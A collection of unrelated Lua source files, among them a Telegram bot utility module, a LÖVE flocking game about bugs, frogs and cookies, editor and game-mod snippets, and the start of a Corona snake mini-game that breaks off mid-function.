function Model:updateAll(conditions, attributes)
local query = "UPDATE " .. self.tableName .. " SET " .. updateToSQL(attributes) .. conditionsToSQL(conditions)
self.db:exec(query)
end
function Model:delete(conditions, exclude_conditions)
local query = "DELETE FROM " .. self.tableName .. conditionsToSQL(conditions, exclude_conditions)
local errcode = self.db:exec(query)
end
return Model
|
--test_sd-id128.lua
package.path = package.path..";../src/?.lua"
local ffi = require("ffi")
local sd_id128 = require("sd-id128")
local sd_messages = require("sd-messages")
local id1 = sd_id128();
print("Default: ",id1)
print(" isNull: ", id1:isNull())
local coreDump = sd_messages.SD_MESSAGE_COREDUMP;
print(" COREDUMP: ", sd_messages.SD_MESSAGE_COREDUMP)
print("SD_MESSAGE_POWER_KEY: ", sd_messages.SD_MESSAGE_POWER_KEY)
|
-- utilities.lua
-- Functions shared among plugins.
local utilities = {}
local HTTP = require('socket.http')
local ltn12 = require('ltn12')
local HTTPS = require('ssl.https')
local URL = require('socket.url')
local JSON = require('dkjson')
local bindings = require('bindings')
-- get the indexed word in a string
function utilities.get_word(s, i)
s = s or ''
i = i or 1
local t = {}
for w in s:gmatch('%g+') do
table.insert(t, w)
end
return t[i] or false
end
-- Like get_word(), but better.
-- Returns the actual index.
function utilities.index(s)
local t = {}
for w in s:gmatch('%g+') do
table.insert(t, w)
end
return t
end
-- Returns the string after the first space.
function utilities.input(s)
if not s:find(' ') then
return false
end
return s:sub(s:find(' ')+1)
end
-- I swear, I copied this from PIL, not yago! :)
function utilities.trim(str) -- Trims whitespace from a string.
local s = str:gsub('^%s*(.-)%s*$', '%1')
return s
end
local lc_list = {
-- Latin = 'Cyrillic'
['A'] = 'А',
['B'] = 'В',
['C'] = 'С',
['E'] = 'Е',
['I'] = 'І',
['J'] = 'Ј',
['K'] = 'К',
['M'] = 'М',
['H'] = 'Н',
['O'] = 'О',
['P'] = 'Р',
['S'] = 'Ѕ',
['T'] = 'Т',
['X'] = 'Х',
['Y'] = 'Ү',
['a'] = 'а',
['c'] = 'с',
['e'] = 'е',
['i'] = 'і',
['j'] = 'ј',
['o'] = 'о',
['s'] = 'ѕ',
['x'] = 'х',
['y'] = 'у',
['!'] = 'ǃ'
}
-- Replaces letters with corresponding Cyrillic characters.
function utilities.latcyr(str)
for k,v in pairs(lc_list) do
str = str:gsub(k, v)
end
return str
end
-- Loads a JSON file as a table.
function utilities.load_data(filename)
local f = io.open(filename)
if not f then
return {}
end
local s = f:read('*all')
f:close()
local data = JSON.decode(s)
return data
end
-- Saves a table to a JSON file.
function utilities.save_data(filename, data)
local s = JSON.encode(data)
local f = io.open(filename, 'w')
f:write(s)
f:close()
end
-- Gets coordinates for a location. Used by gMaps.lua, time.lua, weather.lua.
function utilities:get_coords(input)
local url = 'http://maps.googleapis.com/maps/api/geocode/json?address=' .. URL.escape(input)
local jstr, res = HTTP.request(url)
if res ~= 200 then
return self.config.errors.connection
end
local jdat = JSON.decode(jstr)
if jdat.status == 'ZERO_RESULTS' then
return self.config.errors.results
end
return {
lat = jdat.results[1].geometry.location.lat,
lon = jdat.results[1].geometry.location.lng
}
end
-- Get the number of values in a key/value table.
function utilities.table_size(tab)
local i = 0
for _,_ in pairs(tab) do
i = i + 1
end
return i
end
-- Just an easy way to get a user's full name.
-- Alternatively, abuse it to concat two strings like I do.
function utilities.build_name(first, last)
if last then
return first .. ' ' .. last
else
return first
end
end
function utilities:resolve_username(input)
input = input:gsub('^@', '')
for _,v in pairs(self.database.users) do
if v.username and v.username:lower() == input:lower() then
return v
end
end
end
function utilities:user_from_message(msg, no_extra)
local input = utilities.input(msg.text_lower)
local target = {}
if msg.reply_to_message then
for k,v in pairs(self.database.users[msg.reply_to_message.from.id_str]) do
target[k] = v
end
elseif input and tonumber(input) then
target.id = tonumber(input)
if self.database.users[input] then
for k,v in pairs(self.database.users[input]) do
target[k] = v
end
end
elseif input and input:match('^@') then
local uname = input:gsub('^@', '')
for _,v in pairs(self.database.users) do
if v.username and uname == v.username:lower() then
for key, val in pairs(v) do
target[key] = val
end
end
end
if not target.id then
target.err = 'Sorry, I don\'t recognize that username.'
end
else
target.err = 'Please specify a user via reply, ID, or username.'
end
if not no_extra then
if target.id then
target.id_str = tostring(target.id)
end
if not target.first_name then
target.first_name = 'User'
end
target.name = utilities.build_name(target.first_name, target.last_name)
end
return target
end
function utilities:handle_exception(err, message)
if not err then err = '' end
local output = '\n[' .. os.date('%F %T', os.time()) .. ']\n' .. self.info.username .. ': ' .. err .. '\n' .. message .. '\n'
if self.config.log_chat then
output = '```' .. output .. '```'
bindings.sendMessage(self, self.config.log_chat, output, true, nil, true)
else
print(output)
end
end
function utilities.download_file(url, filename)
if not filename then
filename = url:match('.+/(.-)$') or os.time()
filename = '/tmp/' .. filename
end
local body = {}
local doer = HTTP
local do_redir = true
if url:match('^https') then
doer = HTTPS
do_redir = false
end
local _, res = doer.request{
url = url,
sink = ltn12.sink.table(body),
redirect = do_redir
}
if res ~= 200 then return false end
local file = io.open(filename, 'w+')
file:write(table.concat(body))
file:close()
return filename
end
function utilities.markdown_escape(text)
text = text:gsub('_', '\\_')
text = text:gsub('%[', '\\[')
text = text:gsub('%]', '\\]')
text = text:gsub('%*', '\\*')
text = text:gsub('`', '\\`')
return text
end
utilities.md_escape = utilities.markdown_escape
utilities.INVOCATION_PATTERN = '/'
utilities.triggers_meta = {}
utilities.triggers_meta.__index = utilities.triggers_meta
function utilities.triggers_meta:t(pattern, has_args)
local username = self.username:lower()
table.insert(self.table, '^'..utilities.INVOCATION_PATTERN..pattern..'$')
table.insert(self.table, '^'..utilities.INVOCATION_PATTERN..pattern..'@'..username..'$')
if has_args then
table.insert(self.table, '^'..utilities.INVOCATION_PATTERN..pattern..'%s+[^%s]*')
table.insert(self.table, '^'..utilities.INVOCATION_PATTERN..pattern..'@'..username..'%s+[^%s]*')
end
return self
end
function utilities.triggers(username, trigger_table)
local self = setmetatable({}, utilities.triggers_meta)
self.username = username
self.table = trigger_table or {}
return self
end
function utilities.with_http_timeout(timeout, fun)
local original = HTTP.TIMEOUT
HTTP.TIMEOUT = timeout
fun()
HTTP.TIMEOUT = original
end
function utilities.enrich_user(user)
user.id_str = tostring(user.id)
user.name = utilities.build_name(user.first_name, user.last_name)
return user
end
function utilities.enrich_message(msg)
if not msg.text then msg.text = msg.caption or '' end
msg.text_lower = msg.text:lower()
msg.from = utilities.enrich_user(msg.from)
msg.chat.id_str = tostring(msg.chat.id)
if msg.reply_to_message then
if not msg.reply_to_message.text then
msg.reply_to_message.text = msg.reply_to_message.caption or ''
end
msg.reply_to_message.text_lower = msg.reply_to_message.text:lower()
msg.reply_to_message.from = utilities.enrich_user(msg.reply_to_message.from)
msg.reply_to_message.chat.id_str = tostring(msg.reply_to_message.chat.id)
end
if msg.forward_from then
msg.forward_from = utilities.enrich_user(msg.forward_from)
end
if msg.new_chat_participant then
msg.new_chat_participant = utilities.enrich_user(msg.new_chat_participant)
end
if msg.left_chat_participant then
msg.left_chat_participant = utilities.enrich_user(msg.left_chat_participant)
end
return msg
end
function utilities.pretty_float(x)
if x % 1 == 0 then
return tostring(math.floor(x))
else
return tostring(x)
end
end
function utilities:create_user_entry(user)
local id = tostring(user.id)
-- Clear things that may no longer exist, or create a user entry.
if self.database.users[id] then
self.database.users[id].username = nil
self.database.users[id].last_name = nil
else
self.database.users[id] = {}
end
-- Add all the user info to the entry.
for k,v in pairs(user) do
self.database.users[id][k] = v
end
end
-- This table will store unsavory characters that are not properly displayed,
-- or are just not fun to type.
utilities.char = {
zwnj = '',
arabic = '[\216-\219][\128-\191]',
rtl = '',
flush_right = ''
}
return utilities
|
return
function(cat9, root, builtins, suggest)
function builtins.trigger(job, action, cmd, oflow)
if not job then
cat9.add_message("trigger >job< ... - job missing")
return
end
if type(job) ~= "table" or job.hidden then
cat9.add_message("trigger >job< ... - wrong type or state for job")
return
end
if not action or type(action) ~= "string" or (action ~= "ok" and action ~= "fail") then
cat9.add_message("trigger job >action< - should be one of 'ok', 'fail'")
return
end
if not cmd or type(cmd) ~= "string" then
cat9.add_message("trigger job >action< - should be a valid cli input or 'flush'")
return
end
if oflow then
cat9.add_message("trigger job action >< - too many arguments (escape action with \"\")")
return
end
-- the actions are just shorter aliases
if action == "ok" then
action = "on_finish"
else
action = "on_fail"
end
if cmd == "flush" then
job.hooks[action] = {}
else
table.insert(
job.hooks[action],
function()
local osel = cat9.selectedjob
cat9.selectedjob = job
cat9.parse_string(nil, cmd)
cat9.selectedjob = osel
end
)
end
end
function suggest.trigger(args, raw)
local set = {}
if #args == 2 then
for _,v in ipairs(lash.jobs) do
if not v.hidden then
table.insert(set, "#" .. tostring(v.id))
end
end
cat9.readline:suggest(set, "word")
elseif #args == 3 then
cat9.readline:suggest(cat9.prefix_filter({"ok", "fail"}, args[3]), "word")
elseif #args == 4 and #args[#args] == 0 then
cat9.readline:suggest({"flush"}, "word")
-- should recursively resolve the rest of the 4th argument through the
-- same parser / suggest as we do elsewhere
end
end
end
|
local nvim_cmd = vim.api.nvim_command
-- leave vim if nerdtree is the only open buffer left
nvim_cmd('autocmd bufenter * if (winnr("$") == 1 && exists("b:NERDTree") && b:NERDTree.isTabTree()) | q | endif')
|
--[[
Given an "atlas" (a texture with multiple sprites), as well as a
width and a height for the tiles therein, split the texture into
all of the quads by simply dividing it evenly.
]]
function GenerateQuads(atlas, tilewidth, tileheight)
local sheetWidth = atlas:getWidth() / tilewidth
local sheetHeight = atlas:getHeight() / tileheight
local sheetCounter = 1
local spritesheet = {}
for y = 0, sheetHeight - 1 do
for x = 0, sheetWidth - 1 do
spritesheet[sheetCounter] =
love.graphics.newQuad(x * tilewidth, y * tileheight, tilewidth, tileheight, atlas:getDimensions())
sheetCounter = sheetCounter + 1
end
end
return spritesheet
end
function table.slice(tbl, first, last, step)
local sliced = {}
for i = first or 1, last or #tbl, step or 1 do
sliced[#sliced + 1] = tbl[i]
end
return sliced
end
--[[
This function is specifically made to piece out the paddles from the sprite sheet.
For this, we have to piece out the paddles a little more manually, since they are all
different sizes.
]]
function GenerateQuadsPaddles(atlas)
local x = 0
local y = 64
local counter = 1
local quads = {}
for i = 0, 3 do
--smallest
quads[counter] = love.graphics.newQuad(x, y, 32, 16, atlas:getDimensions())
counter = counter + 1
--medium
quads[counter] = love.graphics.newQuad(x + 32, y, 64, 16, atlas:getDimensions())
counter = counter + 1
--large
quads[counter] = love.graphics.newQuad(x + 96, y, 96, 16, atlas:getDimensions())
counter = counter + 1
--huge
quads[counter] = love.graphics.newQuad(x, y + 16, 128, 16, atlas:getDimensions())
counter = counter + 1
--prepare X and Y for the next set of paddles
x = 0
y = y + 32
end
return quads
end
|
-- Copyright 2021 Frank Uhlig
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
function love.load(args)
width = love.graphics.getWidth()
height = love.graphics.getHeight()
debug = false
debug_time = false
debug_center = false
finish_game = false
State = {
run = 1,
fin = 2,
cls = 3,
pause = 4,
}
game_state = State.run
for i, arg in ipairs(args) do
if 'debug' == arg then
debug = true
elseif 'debugtime' == arg then
debugtime = true
elseif 'debugcenter' == arg then
debugcenter = true
end
end
score = 0
dist_cut = 224
world_speed = 30
max_bugs = 20
dm = nil
def_bug_width = 5
def_bug_length = 10
max_vel = 100
bug_creation_rate = 0.010
max_rand_vel = 30
bug_rando_red = 0.2
bug_adhesive = 0.0015
bug_alignment = 0.02
bug_bias = 0.3
vel = 'vel'
pos = 'pos'
player_bug_enhancement = 15
death_bar = height
death_vel = 0
death_vel_red = 100
max_death_vel = 10
if debug then
dt_vel_inp = 1
else
dt_vel_inp = 5
end
-- use metatables and fun to create these more dynamically
bugs = {
-- {
-- pos = { x = width / 2, y = height / 2 },
-- vel = { x = 0, y = 0 },
-- shape = { width = def_bug_width },
-- }
}
max_cookies = 3
cookies = {}
def_cookie_width = def_bug_width * 10
cookie_creation_rate = bug_creation_rate / 4
cookie_margin = 1.1 * def_cookie_width
cookie_min_neigh = 3
max_frogs = 5
frogs = {}
def_frog_width = def_bug_width * 5
frog_creation_rate = 0.0005 -- alternate sides as well
def_tongue_len = def_frog_width * 20
frog_attack_rate = 0.5
def_attack_len = 50
main_bug_width = def_bug_width
main_bug_length = def_bug_length
if debug then
main_bug_width = main_bug_width * 10
main_bug_length = main_bug_length * 10
max_bugs = 0
max_death_vel = 10
end
add_bug(width / 2, height / 2, 0, math.random(0.1 * max_vel),
main_bug_width, main_bug_length)
init_dist_mat()
calc_dist_mat()
targets = {}
def_target_width = 50
target_score_red = 0.5
curtime = os.clock()
registered_tables = {
bugs,
cookies,
frogs,
targets,
}
-- also create an overall container for bugs, objects, frogs, and feet
end
function init_dist_mat()
dm = {}
for i=1,#bugs do
dm[i] = {}
for j=1,#bugs do
dm[i][j] = 0
end
end
end
function calc_dist_mat()
for i, bi in ipairs(bugs) do
for j, bj in ipairs(bugs) do
if i == j then
dm[i][j] = 0
elseif i < j then
-- refactor into reusable function
dm[i][j] = vec_len({
x = bi.pos.x - bj.pos.x,
y = bi.pos.y - bj.pos.y
})
elseif i > j then
dm[i][j] = dm[j][i]
end
end
end
end
function get_init_frog_orientation(x, y)
local ori = { x = 0, y = 0 }
if x < 0.1 * width then
ori.x = 1
ori.y = 0
elseif x > 0.9 * width then
ori.x = -1
ori.y = 0
else
ori.x = 0
ori.y = -1
end
return ori
end
-- frogs need an orientation in which to shoot with their tongue
function add_frog(x, y, radius, orientation)
radius = radius or def_frog_width
x = x or math.random(width)
y = y or 0
orientation = orientation or get_init_frog_orientation(x, y)
frogs[#frogs + 1] = {
pos = { x = x, y = y },
shape = { width = radius },
orientation = orientation,
attacking = 0,
tongue = { x = x, y = y, len = 0, max = 0},
}
end
function add_cookie(x, y, width)
x = x or width / 2
y = y or height / 2
local width = width or def_cookie_width
cookies[#cookies + 1] = {
pos = { x = x, y = y },
vel = { x = 0, y = 0 },
shape = { width = width },
}
end
function add_bug(x, y, vx, vy, width, length)
x = x or width / 2
y = y or height / 2
vx = vx or 0
vy = vy or 0
local width = width or def_bug_width
local length = length or def_bug_length
bugs[#bugs + 1] = {
pos = { x = x, y = y },
vel = { x = vx, y = vy },
shape = { width = width, length = length},
}
end
function add_target(x, y, width)
x = x or math.random() * width
y = y or math.random() * height
width = width or def_target_width
targets[ #targets + 1 ] = {
pos = { x = x, y = y },
shape = { width = width },
}
end
function handle_input()
if #bugs == 0 then
return
end
--no friction and continuous, floaty movement
if love.keyboard.isDown('k') or love.keyboard.isDown('up') then
bugs[1].vel.y = math.min(bugs[1].vel.y + dt_vel_inp, max_vel)
end
if love.keyboard.isDown('j') or love.keyboard.isDown('down') then
bugs[1].vel.y = math.max(bugs[1].vel.y - dt_vel_inp, -max_vel)
end
if love.keyboard.isDown('h') or love.keyboard.isDown('left') then
bugs[1].vel.x = math.max(bugs[1].vel.x - dt_vel_inp, -max_vel)
end
if love.keyboard.isDown('l') or love.keyboard.isDown('right') then
bugs[1].vel.x = math.min(bugs[1].vel.x + dt_vel_inp, max_vel)
end
end
function update_frogs(dt)
local lost_frogs = {}
for i, f in ipairs(frogs) do
if f.pos.y > death_bar then
table.insert(lost_frogs, i)
end
end
for i = #lost_frogs, 1, -1 do
table.remove(frogs, lost_frogs[i])
end
end
function update_targets()
local lost_targets = {}
for i, t in ipairs(targets) do
if t.pos.y > death_bar then
table.insert(lost_targets, i)
end
end
for i = #lost_targets, 1, -1 do
table.remove(targets, lost_targets[i])
end
end
function attack_bugs()
for i, f in ipairs(frogs) do
local tongue = get_tongue_pos(f)
if f.attacking > 0 then
f.attacking = f.attacking - 1
f.tongue.len = (def_attack_len - f.attacking) / def_attack_len * f.tongue.max
f.tongue.x = tongue.x + f.orientation.x * f.tongue.len
f.tongue.y = tongue.y + f.orientation.y * f.tongue.len
for j, b in ipairs(bugs) do
if circles_colliding(f.tongue, b.pos, get_tongue_width(f), b.shape.width) then
b.hit = true
f.attacking = 0
f.tongue.len = 0
f.tongue.x = tongue.x
f.tongue.y = tongue.y
end
end
elseif math.random() > frog_attack_rate then
f.attacking = def_attack_len
f.tongue.max = def_tongue_len * math.random()
f.tongue.len = 0
f.tongue.x = tongue.x
f.tongue.y = tongue.y
end
end
end
function circles_colliding(a, b, r1, r2) -- not worlds
local dx = a.x - b.x
local dy = a.y - b.y
if dx*dx + dy*dy <= (r1+r2) * (r1+r2) then
return true
end
return false
end
function update_cookies(dt)
local lost_cookies = {}
for i, c in ipairs(cookies) do
local numneighs = 0
local cumvel = { x = 0, y = 0 }
for j, b in ipairs(bugs) do
if vec_len({
x = b.pos.x - c.pos.x,
y = b.pos.y - c.pos.y
}) < cookie_margin then
cumvel.x = cumvel.x + b.vel.x
cumvel.y = cumvel.y + b.vel.y
numneighs = numneighs + 1
end
end
if numneighs > cookie_min_neigh then
--local vel = calc_prop_avg('vel', nil, c.pos)
c.vel.x = cumvel.x / numneighs
c.vel.y = cumvel.y / numneighs
else
c.vel.x = c.vel.x * 0.95
c.vel.y = c.vel.y * 0.95
end
c.pos.x = c.pos.x + dt * c.vel.x
c.pos.y = c.pos.y - dt * c.vel.y
-- if there are a certain number of bugs under the cookie, move it
-- use the average velocity of boid flock centered around cookie
if c.pos.y > death_bar then
table.insert(lost_cookies, i)
end
end
for i = #lost_cookies, 1, -1 do
table.remove(cookies, lost_cookies[i])
end
end
function update_bugs(dt)
lost_bugs = {}
for i, o in ipairs(bugs) do
o.pos.x = o.pos.x + dt * o.vel.x
o.pos.y = o.pos.y - dt * o.vel.y -- up is down and down is up
-- die at the bottom
if o.pos.y > death_bar or o.hit then
table.insert(lost_bugs, i)
else
-- reflective boundaries left, right, top
if o.pos.x < 0 then
o.pos.x = -o.pos.x
o.vel.x = -o.vel.x
elseif o.pos.x > width then
o.pos.x = 2 * width - o.pos.x
o.vel.x = -o.vel.x
end
if o.pos.y < 0 then
o.vel.y = -o.vel.y
o.pos.y = -o.pos.y
end
end
end
for i = #lost_bugs, 1, -1 do
table.remove(bugs, lost_bugs[i])
end
end
function move_world(dt)
if #bugs == 0 then
return
end
if bugs[1].pos.y < height / 2 then
return
end
for t in pairs(registered_tables) do
for i, obj in ipairs(registered_tables[t]) do
obj.pos.y = obj.pos.y + dt * world_speed
if obj.tongue then
obj.tongue.y = obj.tongue.y + dt * world_speed
end
end
end
end
function chill()
for i in pairs(bugs) do
bias = calc_separation_bias(i)
bugs[i].vel.x = bugs[i].vel.x + bias.x * bug_bias
bugs[i].vel.y = bugs[i].vel.y + bias.y * bug_bias
end
end
function calc_separation_bias(me)
local bias = { x = 0, y = 0 }
local dist = { x = 0, y = 0 }
for i in pairs(bugs) do
if i ~= me then
dist.x = bugs[me].pos.x - bugs[i].pos.x
dist.y = bugs[me].pos.y - bugs[i].pos.y
if math.sqrt(dist.x*dist.x + dist.y*dist.y) <
(bugs[me].shape.width + bugs[i].shape.width) * 2 then
bias.x = bias.x + dist.x
bias.y = bias.y + dist.y
end
end
end
return bias
end
function alignment()
local align = { x = 0, y = 0 }
for i in pairs(bugs) do
local avel = calc_bug_avel(i)
align.x = avel.x - bugs[i].vel.x
align.y = avel.y - bugs[i].vel.y
bugs[i].vel.x = bugs[i].vel.x + align.x * bug_alignment
bugs[i].vel.y = bugs[i].vel.y + align.y * bug_alignment
end
end
function randomize()
for i, b in ipairs(bugs) do
if i ~= 1 then
b.vel.x = b.vel.x + (math.random() * 2 - 1.) * max_rand_vel * bug_rando_red
b.vel.y = b.vel.y + (math.random() * 2 - 1.) * max_rand_vel * bug_rando_red
end
end
end
function cohesion()
local coh = { x = 0, y = 0 }
local fac = 1
for i in pairs(bugs) do
local center = calc_bug_center(i)
coh.x = center.x - bugs[i].pos.x
coh.y = center.y - bugs[i].pos.y
if 1 == i then
fac = 1
else
fac = player_bug_enhancement
end
bugs[i].vel.x = bugs[i].vel.x + coh.x * bug_adhesive * fac
bugs[i].vel.y = bugs[i].vel.y - coh.y * bug_adhesive * fac
end
end
function calc_bug_center(bug_idx)
return calc_prop_avg('pos', bug_idx)
end
function calc_bug_avel(bug_idx)
return calc_prop_avg('vel', bug_idx)
end
function calc_prop_avg(prop, bug_idx, center)
local x = 0.
local y = 0.
local num_bugs = 0
local dlt = 0
if not bug_idx and not center then
return nil
end
for i, bug in ipairs(bugs) do
if center then
dlt = vec_len({
x = center.x - bugs[i][prop].x,
y = center.y - bugs[i][prop].y
})
else
dlt = dm[i][bug_idx]
end
-- calculate distance to central bug or just take all if no center provided
if not bug_idx or dlt < dist_cut then
x = x + bugs[i][prop].x
y = y + bugs[i][prop].y
num_bugs = num_bugs + 1
end
end
x = x / num_bugs
y = y / num_bugs
return { x = x, y = y }
end
function detect_score()
local finished = {}
for i, c in ipairs(cookies) do
for j, t in ipairs(targets) do
if circles_colliding(c.pos, t.pos, c.shape.width, t.shape.width * target_score_red) then
table.insert(finished, {i,j})
end
end
end
for f=#finished, 1, -1 do
table.remove(cookies, finished[f].i)
table.remove(targets, finished[f].j)
end
return #finished
end
function love.update(dt)
local tstart = os.clock()
if game_state == State.fin then
return
elseif game_state == State.cls then
love.event.quit()
elseif game_state == State.pause then
return
end
-- add new entities
if #bugs < max_bugs and math.random() <= bug_creation_rate then
add_bug(math.random(width),
0,
math.random(max_rand_vel),
math.random(max_rand_vel))
end
if #cookies < max_cookies and math.random() <= cookie_creation_rate then
add_cookie(math.random(width), 0)
add_target(math.random(width), math.random(height), def_target_width * math.random())
end
-- always have at least one frog to indicate plane movement
if #frogs < max_frogs and (math.random() <= frog_creation_rate or #frogs < 1) then
add_frog()
end
-- update things in the world
death_vel = math.min(death_vel + 1, max_death_vel) / death_vel_red
death_bar = death_bar - death_vel
-- move the plane of existence by moving all of the objects
move_world(dt)
init_dist_mat()
calc_dist_mat()
-- flocking update
cohesion()
alignment()
chill()
randomize()
-- just zip all relevant lists together (like in python, if it exists)
-- or collect those functions in a global table
update_bugs(dt)
update_cookies(dt)
update_frogs(dt)
update_targets()
score = score + detect_score()
attack_bugs()
handle_input()
if #bugs == 0 or bugs[1].pos.y > height then
game_state = State.fin
end
local tstop = os.clock()
if debug or debugtime then
io.write(string.format("took %.6f for update, %.6f seconds for the full loop\r",
tstop - tstart,
tstop - curtime))
end
curtime = tstop
end
-- alternative bug visualization would be:
-- love.graphics.rotate() -- rotate coordinate system
-- love.graphics.ellipse() -- draw the bug
-- love.graphics.origin()
function vec_len(vec)
return math.sqrt(vec.x*vec.x + vec.y*vec.y)
end
function draw_bug(bug)
local angle = math.acos(bug.vel.x / vec_len(bug.vel))
if bug.vel.y > 0 then
angle = -angle
end
love.graphics.rotate(angle)
love.graphics.ellipse('fill', bug.pos.x * math.cos(math.pi * 2 - angle) -
bug.pos.y * math.sin(math.pi * 2 - angle),
bug.pos.x * math.sin(math.pi * 2 - angle) +
bug.pos.y * math.cos(math.pi * 2 - angle),
bug.shape.length, bug.shape.width)
love.graphics.origin()
-- for this visualization to work properly, we need to rework the world
-- movement and have the bug at rest when its vel is zero
local norm = math.sqrt(bug.vel.x * bug.vel.x + bug.vel.y * bug.vel.y)
local factor = bug.shape.width * 0.9 / norm
love.graphics.setColor(0, 0, 0)
love.graphics.circle('fill',
bug.pos.x + bug.vel.x * factor,
bug.pos.y - bug.vel.y * factor, bug.shape.width / 5)
end
function draw_cookie(cookie)
love.graphics.setColor(1, 1, 0)
love.graphics.circle('fill', cookie.pos.x, cookie.pos.y, cookie.shape.width)
end
function draw_target(tgt)
love.graphics.setColor(1, 0, 0)
-- target width
local qpi = math.pi / 4
local corners = {
ll = {
x = tgt.pos.x + math.cos(-3 * qpi) * def_target_width,
y = tgt.pos.y + math.sin(-3 * qpi) * def_target_width,
},
lr = {
x = tgt.pos.x + math.cos(-qpi) * def_target_width,
y = tgt.pos.y + math.sin(-qpi) * def_target_width,
},
ur = {
x = tgt.pos.x + math.cos(qpi) * def_target_width,
y = tgt.pos.y + math.sin(qpi) * def_target_width,
},
ul = {
x = tgt.pos.x + math.cos(3 * qpi) * def_target_width,
y = tgt.pos.y + math.sin(3 * qpi) * def_target_width,
},
}
love.graphics.line(corners.ll.x, corners.ll.y, corners.ur.x, corners.ur.y)
love.graphics.line(corners.ul.x, corners.ul.y, corners.lr.x, corners.lr.y)
end
function get_tongue_pos(frog)
local tongue = {
x = frog.pos.x + frog.orientation.x * frog.shape.width * 0.9,
y = frog.pos.y + frog.orientation.y * frog.shape.width * 0.9,
}
return tongue
end
function get_tongue_width(frog)
return 0.1 * frog.shape.width
end
function draw_frog(frog)
love.graphics.setColor(0, 0, 1)
love.graphics.circle('fill', frog.pos.x, frog.pos.y, frog.shape.width)
local tongue = get_tongue_pos(frog)
local tongue_width = get_tongue_width(frog)
love.graphics.setColor(1, 1, 1)
love.graphics.circle(
'fill',
tongue.x,
tongue.y,
tongue_width
)
if frog.attacking > 0 then
love.graphics.setLineStyle('rough')
love.graphics.setLineWidth(tongue_width)
love.graphics.setColor(1, 1, 1)
love.graphics.line(tongue.x, tongue.y, frog.tongue.x, frog.tongue.y)
end
end
function love.draw()
if game_state == State.fin then
love.graphics.setBackgroundColor(0, 0, 1)
love.graphics.setColor(1, 1, 1)
love.graphics.print("SCORE: " .. score, width / 2 - 40, height / 2)
return
end
for i, bug in ipairs(bugs) do
love.graphics.setColor(1, 1, 1)
if 1 == i then
love.graphics.setColor(1, 0, 0)
end
draw_bug(bug)
end
for i, cok in ipairs(cookies) do
draw_cookie(cok)
end
for i, frg in ipairs(frogs) do
draw_frog(frg)
end
for i, tgt in ipairs(targets) do
draw_target(tgt)
end
love.graphics.setBackgroundColor(0.1, 1, 0.3)
love.graphics.setColor(0, 0, 0)
love.graphics.line(0, death_bar, width, death_bar)
if debugcenter or debug then
for i=1,#bugs do
center = calc_bug_center(i)
love.graphics.setColor(0, 0, 0)
love.graphics.circle('fill', center.x, center.y, def_bug_width / 2)
end
end
-- debugging
if debug then
love.graphics.origin()
love.graphics.setColor(1,1,1)
love.graphics.print(#bugs)
if #bugs > 0 then
love.graphics.print(table.concat({
'x: '..bugs[1].pos.x,
'y: '..bugs[1].pos.y,
'vx: '..bugs[1].vel.x,
'vy: '..bugs[1].vel.y,
}, '\n'))
end
end
end
function love.mousepressed(x, y, button, istouch)
end
function love.mousereleased(x, y, button, istouch)
end
function love.keypressed(key)
end
function love.keyreleased(key)
if 'q' == key then
if game_state == State.run then
game_state = State.fin
elseif game_state == State.fin then
game_state = State.cls
end
elseif 'space' == key then
if game_state == State.run then
game_state = State.pause
elseif game_state == State.fin or game_state == State.pause then
game_state = State.run
end
end
end
function love.focus(f)
end
function love.quit()
end
|
-- luacheck: globals prefs
local std = stead
local preferences = std.obj {
nam = '@prefs',
load = function(_)
local name = std.savepath() .. '/prefs';
local f, err = std.loadfile(name);
if not f then
return false, err
end
local strict = std.nostrict; std.nostrict = true
f();
std.nostrict = strict
return true
end,
store = function(s)
return s:save()
end,
save = function(s) -- save prefs on every save
local name = std.savepath() .. '/prefs';
local name_tmp = name..'.tmp'
local fp, _ = std.io.open(name_tmp, "wb");
if not fp then
return false
end
std.obj.save(s, fp, 'std "@prefs"')
fp:flush();
fp:close();
std.os.remove(name)
return std.os.rename(name_tmp, name);
end,
purge = function(_)
local name = std.savepath() .. '/prefs';
return std.os.remove(name);
end
};
local loaded
std.mod_start(function()
loaded = prefs:load()
end)
std.mod_done(function()
if loaded then
prefs:store()
loaded = false
end
end)
prefs = preferences
|
//________________________________
//
// NS2 Single-Player Mod
// Made by JimWest, 2012
//
//________________________________
local originalGetPointBlocksAttachEntities = GetPointBlocksAttachEntities
function GetPointBlocksAttachEntities(origin)
// y the nobuild area is blocking us
if Pathing.GetIsFlagSet(origin, Vector(0.5,0.5,0.5), Pathing.PolyFlag_NoBuild) then
return true
else
return originalGetPointBlocksAttachEntities(origin)
end
end
|
local miniGameName = "glutton";
local miniGamePath = "miniGames/glutton/";
--utils:log(miniGameName, "Loaded");
local miniGameBase = require("miniGames.miniGameBase");
local scene = miniGameBase:newMiniGameScene(miniGameName);
-- Game instructions.
scene.instructions =
"It must be a vegetarian snake: eat space carrots without eating yourself!" ..
"||Swipe up, down, left or right anywhere to change direction.";
-- The point that the touch event started at.
scene.touchStart = nil;
-- Constants for snake move directions.
scene.MOVING_UP = 1;
scene.MOVING_DOWN = 2;
scene.MOVING_RIGHT = 3;
scene.MOVING_LEFT = 4;
-- Amounts to adjust X and Y of snake parts.
-- Note: X grid coordinate goes from 1 to 17
-- Note: Y grid coordinate goes from 1 to 30
scene.xAdj = 44;
scene.yAdj = 200;
-- How many segments there currently are.
scene.segmentsCount = 0;
-- Current red color of the LASER fence and which way the pulse is going.
scene.laserFenceColor = .5;
scene.laserFenceColorDir = "inc";
scene.laserFenceColorFrameCount = 0;
--- ====================================================================================================================
-- ====================================================================================================================
-- Scene lifecycle Event Handlers
-- ====================================================================================================================
-- ====================================================================================================================
---
-- Handler for the create event.
--
-- @param inEvent The event object.
--
function scene:create(inEvent)
self.parent.create(self, inEvent);
--utils:log(self.miniGameName, "create()");
-- Load graphics.
local imageSheet, sheetInfo = self.resMan:newImageSheet(
"imageSheet", "miniGames." .. miniGameName .. ".imageSheet", miniGamePath .. "imageSheet.png"
);
-- Construct LASER fence border.
local laserFence = self.resMan:newRect("laserFence", self.resMan:getDisplayGroup("gameGroup"),
display.contentCenterX, display.contentCenterY + 80, display.contentWidth - 100, display.contentHeight - 240
);
laserFence:setFillColor(0, 0, 0, 0);
